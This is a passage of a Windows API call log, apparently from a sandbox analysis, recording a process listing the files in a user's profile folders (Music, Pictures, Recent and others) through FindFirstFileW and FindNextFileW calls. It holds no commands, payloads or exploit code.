[0124.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4f8 | out: hHeap=0x5c0000) returned 1 [0124.718] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.718] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.718] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0124.718] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0124.718] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0124.718] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0124.718] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4a0 | out: hHeap=0x5c0000) returned 1 [0124.718] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0124.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.719] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.719] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.719] PathFindFileNameW (pszPath="") returned="" [0124.719] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0124.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0124.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0124.719] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0124.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.719] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.719] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.719] PathFindFileNameW (pszPath="") returned="" [0124.719] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51c7c5d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x51c7c5d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4f8 | out: hHeap=0x5c0000) returned 1 [0124.719] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51c7c5d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x51c7c5d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.719] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.719] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa069530, ftCreationTime.dwHighDateTime=0x1d4c9c6, ftLastAccessTime.dwLowDateTime=0xb1395040, ftLastAccessTime.dwHighDateTime=0x1d4c6c4, ftLastWriteTime.dwLowDateTime=0xb1395040, ftLastWriteTime.dwHighDateTime=0x1d4c6c4, nFileSizeHigh=0x0, nFileSizeLow=0x10b4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f1KLA.m4a", cAlternateFileName="")) returned 1 [0124.720] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21890e20, ftCreationTime.dwHighDateTime=0x1d4c63a, ftLastAccessTime.dwLowDateTime=0x55090e60, ftLastAccessTime.dwHighDateTime=0x1d4cfc9, ftLastWriteTime.dwLowDateTime=0x55090e60, ftLastWriteTime.dwHighDateTime=0x1d4cfc9, nFileSizeHigh=0x0, nFileSizeLow=0x6a09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NDR1.m4a", cAlternateFileName="")) returned 1 [0124.720] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd32404f0, ftCreationTime.dwHighDateTime=0x1d4cb12, ftLastAccessTime.dwLowDateTime=0xcebcb2a0, ftLastAccessTime.dwHighDateTime=0x1d4cf85, ftLastWriteTime.dwLowDateTime=0xcebcb2a0, ftLastWriteTime.dwHighDateTime=0x1d4cf85, nFileSizeHigh=0x0, nFileSizeLow=0x506c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RCBYlf_e4F0CAnTDs_Cv.wav", cAlternateFileName="RCBYLF~1.WAV")) returned 1 [0124.720] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe67abc50, ftCreationTime.dwHighDateTime=0x1d4d063, ftLastAccessTime.dwLowDateTime=0x4c26d800, ftLastAccessTime.dwHighDateTime=0x1d4d12b, ftLastWriteTime.dwLowDateTime=0x4c26d800, ftLastWriteTime.dwHighDateTime=0x1d4d12b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tvalSG6kWCd", cAlternateFileName="TVALSG~1")) returned 1 [0124.720] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda5270d0, ftCreationTime.dwHighDateTime=0x1d4d103, ftLastAccessTime.dwLowDateTime=0xc114df40, ftLastAccessTime.dwHighDateTime=0x1d4cc44, ftLastWriteTime.dwLowDateTime=0xc114df40, ftLastWriteTime.dwHighDateTime=0x1d4cc44, nFileSizeHigh=0x0, nFileSizeLow=0x12349, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="U3NMPiDKOwkRxmiQp.m4a", cAlternateFileName="U3NMPI~1.M4A")) returned 1 [0124.720] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9798bf30, ftCreationTime.dwHighDateTime=0x1d4cd1e, ftLastAccessTime.dwLowDateTime=0x5a4a3b80, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0x5a4a3b80, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zTvNij62y31ygD", cAlternateFileName="ZTVNIJ~1")) returned 1 [0124.720] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9798bf30, ftCreationTime.dwHighDateTime=0x1d4cd1e, ftLastAccessTime.dwLowDateTime=0x5a4a3b80, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0x5a4a3b80, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zTvNij62y31ygD", cAlternateFileName="ZTVNIJ~1")) returned 0 [0124.720] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4a0 | out: hHeap=0x5c0000) returned 1 [0124.720] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0124.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.720] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.720] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.720] PathFindFileNameW (pszPath="") returned="" [0124.720] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9798bf30, ftCreationTime.dwHighDateTime=0x1d4cd1e, ftLastAccessTime.dwLowDateTime=0x5a4a3b80, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0x5a4a3b80, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zTvNij62y31ygD", cAlternateFileName="ZTVNIJ~1")) returned 0xffffffff [0124.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0124.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0124.720] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0124.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.721] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.721] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.721] PathFindFileNameW (pszPath="") returned="" [0124.721] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9798bf30, ftCreationTime.dwHighDateTime=0x1d4cd1e, ftLastAccessTime.dwLowDateTime=0x5a4a3b80, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0x5a4a3b80, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zTvNij62y31ygD", cAlternateFileName="ZTVNIJ~1")) returned 0xffffffff [0124.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4f8 | out: hHeap=0x5c0000) returned 1 [0124.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4a0 | out: hHeap=0x5c0000) returned 1 [0124.721] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0124.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.721] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.721] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.721] PathFindFileNameW (pszPath="") returned="" [0124.721] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527a4cf0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x527a4cf0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0124.721] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527a4cf0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x527a4cf0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.721] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbc2780, ftCreationTime.dwHighDateTime=0x1d4c79f, ftLastAccessTime.dwLowDateTime=0x3492e020, ftLastAccessTime.dwHighDateTime=0x1d4cecf, ftLastWriteTime.dwLowDateTime=0x3492e020, ftLastWriteTime.dwHighDateTime=0x1d4cecf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="71f4 4SP91MVI3", cAlternateFileName="71F44S~1")) returned 1 [0124.721] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.721] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa459c140, ftCreationTime.dwHighDateTime=0x1d4cccb, ftLastAccessTime.dwLowDateTime=0x4b2d0830, ftLastAccessTime.dwHighDateTime=0x1d4d51c, ftLastWriteTime.dwLowDateTime=0x4b2d0830, ftLastWriteTime.dwHighDateTime=0x1d4d51c, nFileSizeHigh=0x0, nFileSizeLow=0x128c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dQ_0l6.gif", cAlternateFileName="")) returned 1 [0124.722] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x302f5490, ftCreationTime.dwHighDateTime=0x1d4c7a0, ftLastAccessTime.dwLowDateTime=0x53749450, ftLastAccessTime.dwHighDateTime=0x1d4c7c9, ftLastWriteTime.dwLowDateTime=0x53749450, ftLastWriteTime.dwHighDateTime=0x1d4c7c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nEqZA", cAlternateFileName="")) returned 1 [0124.722] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8c21f90, ftCreationTime.dwHighDateTime=0x1d4cbc8, ftLastAccessTime.dwLowDateTime=0xd2f05d40, ftLastAccessTime.dwHighDateTime=0x1d4c90e, ftLastWriteTime.dwLowDateTime=0xd2f05d40, ftLastWriteTime.dwHighDateTime=0x1d4c90e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSKgyoas7znhFe", cAlternateFileName="OSKGYO~1")) returned 1 [0124.722] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8184c870, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x40683ef0, ftLastAccessTime.dwHighDateTime=0x1d4c703, ftLastWriteTime.dwLowDateTime=0x40683ef0, ftLastWriteTime.dwHighDateTime=0x1d4c703, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r-u9vnXsx8Ur0", cAlternateFileName="R-U9VN~1")) returned 1 [0124.722] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8184c870, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x40683ef0, ftLastAccessTime.dwHighDateTime=0x1d4c703, ftLastWriteTime.dwLowDateTime=0x40683ef0, ftLastWriteTime.dwHighDateTime=0x1d4c703, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r-u9vnXsx8Ur0", cAlternateFileName="R-U9VN~1")) returned 0 [0124.722] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4a0 | out: hHeap=0x5c0000) returned 1 [0124.722] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0124.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.722] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.722] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.722] PathFindFileNameW (pszPath="") returned="" [0124.722] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8184c870, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x40683ef0, ftLastAccessTime.dwHighDateTime=0x1d4c703, ftLastWriteTime.dwLowDateTime=0x40683ef0, ftLastWriteTime.dwHighDateTime=0x1d4c703, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r-u9vnXsx8Ur0", cAlternateFileName="R-U9VN~1")) returned 0xffffffff [0124.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0124.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30844f0 | out: hHeap=0x5c0000) returned 1 [0124.722] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0124.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.722] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.723] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.723] PathFindFileNameW (pszPath="") returned="" [0124.723] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8184c870, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x40683ef0, ftLastAccessTime.dwHighDateTime=0x1d4c703, ftLastWriteTime.dwLowDateTime=0x40683ef0, ftLastWriteTime.dwHighDateTime=0x1d4c703, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r-u9vnXsx8Ur0", cAlternateFileName="R-U9VN~1")) returned 0xffffffff [0124.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4f8 | out: hHeap=0x5c0000) returned 1 [0124.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4a0 | out: hHeap=0x5c0000) returned 1 [0124.723] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0124.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" 